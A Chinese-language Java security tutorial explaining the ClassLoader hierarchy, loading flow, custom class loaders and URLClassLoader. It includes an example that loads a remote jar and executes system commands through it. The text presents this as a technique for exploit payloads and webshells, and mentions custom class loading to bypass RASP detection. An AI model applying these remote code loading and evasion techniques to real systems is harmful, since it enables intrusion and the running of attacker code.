Java ClassLoader類加載機制

目錄

Java ClassLoader類加載機制

ClassLoader

Java類動態加載方式

ClassLoader類加載流程

自定義ClassLoader

URLClassLoader

ClassLoader總結


Java ClassLoader類加載機制

Java是一個依賴於JAVA 虛擬機(JVM)實現的跨平臺的高級開發語言。Java程序在運行前需要先將.java文件編譯成.clsss文件 。Java類初始化的時候會調用 java.lang.ClassLoader 加載類字節碼,ClassLoader會調用JVM的native 方法來定義一個 java.lang.Class實例。

如下,我們創建一個Project1項目,base package爲 com.company。我們的源文件爲 Project1/src/com/company/Main.java,運行後,會生成 out/production/Project1/com/company/Main.class 字節碼文件。

或者直接用 javac 編譯成 class 文件,然後用 javap 查看 class 文件。

JVM在執行代碼之前會先解析 class 二進制內容,JVM執行的其實就是如上javap命令生成的字節碼(ByteCode)。

ClassLoader

      一切的Java類都必須經過JVM加載後才能運行,而 ClassLoader 的主要作用就是 Java 類的加載。在 JVM 類加載器中最頂層的是 Bootstrap ClassLoader(引導類加載器,該加載器實現於JVM層,採用C++編寫)、Extension ClassLoader(擴展類加載器)、App ClassLoader(系統類加載器)。AppClassLoader是默認的類加載器,如果類加載時我們不指定類加載器的情況下,默認會使用 AppClassLoader 加載類。 ClassLoader.getSystemClassLoader() 返回的系統類加載器也是 AppClassLoader。

     值得注意的是某些時候我們獲取一個類的類加載器的時候可能會返回一個null值。如:java.io.File.class.getClassLoader() 將返回一個 null 對象,因爲 java.io.File 類在JVM初始化的時候會被 Bootstrap ClassLoader加載,我們在嘗試獲取被BootStrap ClassLoader類加載器所加載的類的ClassLoader的時候都會返回null。

ClassLoader類有如下核心方法:

  • loadClass:加載指定的Java類
  • findClass:查找指定的Java類
  • findLoaderClass:查找JVM已經加載過的類
  • defindClass:定義一個Java類
  • resolveClass:鏈接指定的Java類

Java類動態加載方式

Java類加載方式分爲 顯式 和 隱式,顯式即我們通常使用 Java反射 或者 ClassLoader 來動態加載一個類對象,而隱式指的是類名.方法名() 或 new  類實例。顯式類加載方式也可以理解爲類動態加載,我們可以自定義類加載器去加載任意的類。

常用的類動態加載方式:

// 反射加載TestHelloWorld示例
Class.forName("com.company.classloader.test");

// ClassLoader加載TestHelloWorld示例
this.getClass().getClassLoader().loadClass("com.company.test");

 

class.forName("類名") 默認會初始化被加載類的靜態屬性和方法,如果不希望初始化類可以使用 Class.forName("類名",是否初始化類,類加載器),而ClassLoader.loadClass 默認不會初始化類方法。

ClassLoader類加載流程

要想理解Java類加載機制並非易事,這裏我們以一個Java的HelloWorld來學習ClassLoader

ClassLoader加載com.company.Main類重要流程如下:

  1. ClassLoader會調用public Class<?> loadClass(String name)方法加載com.company.Main類。
  2. 調用findLoadedClass方法檢查類Main是否已經初始化,如果JVM已初始化過該類則直接返回類對象。
  3. 如果創建當前ClassLoader時傳入了父類加載器(new ClassLoader(父類加載器))就使用父類加載器加載Main類,否則使用JVM的Bootstrap ClassLoader加載。
  4. 如果上一步無法加載Main類,那麼調用自身的findClass方法嘗試加載TestHelloWorld類。
  5. 如果當前的ClassLoader沒有重寫了findClass方法,那麼直接返回類加載失敗異常。如果當前類重寫了findClass方法並通過傳入的com.company.Main類名找到了對應的類字節碼,那麼應該調用defineClass方法去JVM中註冊該類。
  6. 如果調用loadClass的時候傳入的resolve參數爲true,那麼還需要調用resolveClass方法鏈接類,默認爲false。
  7. 返回一個被JVM加載後的java.lang.Class類對象。
     

自定義ClassLoader

java.lang.ClassLoader是所有的類加載器的父類,java.lang.ClassLoader有非常多的子類加載器,比如我們用於加載jar包的java.net.URLClassLoader其本身通過繼承java.lang.ClassLoader類,重寫了findClass方法從而實現了加載目錄class文件甚至是遠程資源文件。

既然已知ClassLoader具備了加載類的能力,那麼我們不妨嘗試下寫一個自己的類加載器來實現加載自定義的字節碼(這裏以加載test類爲例)並調用hello方法。

test類如下:

如果com.company.test類存在的情況下,我們可以使用如下代碼即可實現調用hello方法並輸出:

但是如果com.company.test根本就不存在於我們的classpath,那麼我們可以使用自定義類加載器重寫findClass方法,然後在調用defineClass方法的時候傳入test類的字節碼的方式來向JVM中定義一個test類,最後通過反射機制就可以調用test類的hello方法了。

TestClassLoader示例代碼:

package com.anbai.sec.classloader;

import java.lang.reflect.Method;

/**
 * Creator: yz
 * Date: 2019/12/17
 */
public class TestClassLoader extends ClassLoader {

    // TestHelloWorld類名
    private static String testClassName = "com.anbai.sec.classloader.TestHelloWorld";

    // TestHelloWorld類字節碼
    private static byte[] testClassBytes = new byte[]{
            -54, -2, -70, -66, 0, 0, 0, 51, 0, 17, 10, 0, 4, 0, 13, 8, 0, 14, 7, 0, 15, 7, 0,
            16, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
            101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101,
            1, 0, 5, 104, 101, 108, 108, 111, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108,
            97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99,
            101, 70, 105, 108, 101, 1, 0, 19, 84, 101, 115, 116, 72, 101, 108, 108, 111, 87, 111,
            114, 108, 100, 46, 106, 97, 118, 97, 12, 0, 5, 0, 6, 1, 0, 12, 72, 101, 108, 108, 111,
            32, 87, 111, 114, 108, 100, 126, 1, 0, 40, 99, 111, 109, 47, 97, 110, 98, 97, 105, 47,
            115, 101, 99, 47, 99, 108, 97, 115, 115, 108, 111, 97, 100, 101, 114, 47, 84, 101, 115,
            116, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 1, 0, 16, 106, 97, 118, 97, 47, 108,
            97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0, 3, 0, 4, 0, 0, 0, 0, 0, 2, 0, 1,
            0, 5, 0, 6, 0, 1, 0, 7, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0,
            1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 0, 1, 0, 9, 0, 10, 0, 1, 0, 7, 0, 0, 0, 27, 0, 1,
            0, 1, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 10, 0, 1, 0, 11,
            0, 0, 0, 2, 0, 12
    };

    @Override
    public Class<?> findClass(String name) throws ClassNotFoundException {
        // 只處理TestHelloWorld類
        if (name.equals(testClassName)) {
            // 調用JVM的native方法定義TestHelloWorld類
            return defineClass(testClassName, testClassBytes, 0, testClassBytes.length);
        }

        return super.findClass(name);
    }

    public static void main(String[] args) {
        // 創建自定義的類加載器
        TestClassLoader loader = new TestClassLoader();

        try {
            // 使用自定義的類加載器加載TestHelloWorld類
            Class testClass = loader.loadClass(testClassName);

            // 反射創建TestHelloWorld類,等價於 TestHelloWorld t = new TestHelloWorld();
            Object testInstance = testClass.newInstance();

            // 反射獲取hello方法
            Method method = testInstance.getClass().getMethod("hello");

            // 反射調用hello方法,等價於 String str = t.hello();
            String str = (String) method.invoke(testInstance);

            System.out.println(str);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

利用自定義類加載器我們可以在webshell中實現加載並調用自己編譯的類對象,比如本地命令執行漏洞調用自定義類字節碼的native方法繞過RASP檢測,也可以用於加密重要的Java類字節碼(只能算弱加密了)。

URLClassLoader

URLClassLoader繼承了ClassLoaderURLClassLoader提供了加載遠程資源的能力,在寫漏洞利用的payload或者webshell的時候我們可以使用這個特性來加載遠程jar文件來實現遠程的類方法調用。

TestURLClassLoader.java示例:

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;

/**
 * Creator: yz
 * Date: 2019/12/18
 */
public class TestURLClassLoader {

    public static void main(String[] args) {
        try {
            // 定義遠程加載的jar路徑
            URL url = new URL("https://javaweb.org/tools/cmd.jar");

            // 創建URLClassLoader對象,並加載遠程jar包
            URLClassLoader ucl = new URLClassLoader(new URL[]{url});

            // 定義需要執行的系統命令
            String cmd = "ls";

            // 通過URLClassLoader加載遠程jar包中的CMD類
            Class cmdClass = ucl.loadClass("CMD");

            // 調用CMD類中的exec方法,等價於: Process process = CMD.exec("whoami");
            Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);

            // 獲取命令執行結果的輸入流
            InputStream           in   = process.getInputStream();
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            byte[]                b    = new byte[1024];
            int                   a    = -1;

            // 讀取命令執行結果
            while ((a = in.read(b)) != -1) {
                baos.write(b, 0, a);
            }

            // 輸出命令執行結果
            System.out.println(baos.toString());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

遠程的cmd.jar中就一個CMD.class文件,對應的編譯之前的代碼片段如下:

import java.io.IOException;

/**
 * Creator: yz
 * Date: 2019/12/18
 */
public class CMD {

    public static Process exec(String cmd) throws IOException {
        return Runtime.getRuntime().exec(cmd);
    }

}

程序執行結果如下:

README.md
gitbook
javaweb-sec-source
javaweb-sec.iml
jni
pom.xml

ClassLoader總結

ClassLoader是JVM中一個非常重要的組成部分,ClassLoader可以爲我們加載任意的java類,通過自定義ClassLoader更能夠實現自定義類加載行爲,在後面的幾個章節我們也將講解ClassLoader的實際利用場景

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章